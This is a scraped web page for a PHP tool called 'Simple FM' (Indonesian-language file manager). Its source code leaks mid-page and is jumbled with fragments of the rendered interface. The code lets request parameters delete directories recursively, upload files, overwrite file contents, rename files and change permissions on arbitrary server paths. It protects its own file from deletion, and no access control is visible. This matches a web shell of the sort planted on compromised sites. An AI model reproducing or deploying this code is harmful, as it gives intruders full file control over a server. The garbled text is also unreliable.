🔐 Login

/'; } else { $currentPath .= $part . '/'; $breadcrumbs .= ' / ' . htmlspecialchars($part) . ''; } } return $breadcrumbs; } // ======================================================================================================== // FUNGSI-FUNGSI PENGOLAHAN FILE // ======================================================================================================== // Aksi Hapus if (isset($_GET['delete'])) { $target = realpath($_GET['delete']); if (file_exists($target) && basename($target) !== basename(__FILE__)) { if (is_dir($target)) { // Hapus direktori beserta isinya $items = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($items as $item) { if ($item->isDir()) rmdir($item->getRealPath()); else unlink($item->getRealPath()); } rmdir($target); } else { unlink($target); } } header('Location: ?path=' . urlencode(dirname($target))); exit; } // Aksi Rename if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) { $oldName = realpath($_POST['rename_old']); $newName = dirname($oldName) . '/' . basename($_POST['rename_new']); if (file_exists($oldName) && basename($oldName) !== basename(__FILE__)) { rename($oldName, $newName); } header('Location: ?path=' . urlencode(dirname($oldName))); exit; } // Aksi Upload if (isset($_FILES['fileToUpload'])) { $targetFile = $currentDir . '/' . basename($_FILES['fileToUpload']['name']); if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $targetFile)) { // Sukses } header('Location: ?path=' . urlencode($currentDir)); exit; } // Aksi Edit (Simpan) if (isset($_POST['edit_file']) && isset($_POST['file_content'])) { $fileToEdit = realpath($_POST['edit_file']); if (is_file($fileToEdit)) { file_put_contents($fileToEdit, $_POST['file_content']); } header('Location: ?path=' . urlencode(dirname($fileToEdit))); exit; } // Aksi CHMOD (Ubah Izin) if (isset($_POST['chmod_file']) && isset($_POST['new_chmod'])) { $fileToChmod = realpath($_POST['chmod_file']); $newChmod = $_POST['new_chmod']; if (file_exists($fileToChmod)) { chmod($fileToChmod, octdec($newChmod)); } header('Location: ?path=' . urlencode(dirname($fileToChmod))); exit; } if (isset($_POST['create_dir'])) { mkdir($currentDir . '/' . $_POST['new_name']); header('Location: ?path=' . urlencode($currentDir)); exit; } if (isset($_POST['create_file'])) { file_put_contents($currentDir . '/' . $_POST['new_name'], ''); header('Location: ?path=' . urlencode($currentDir)); exit; } ?> Simple FM

Manajer File Sederhana

Lokasi:


Unggah File

Buat File/Folder Baru


Daftar Isi

Nama Aksi
/

Edit File:

Ubah Nama:

Ubah Izin: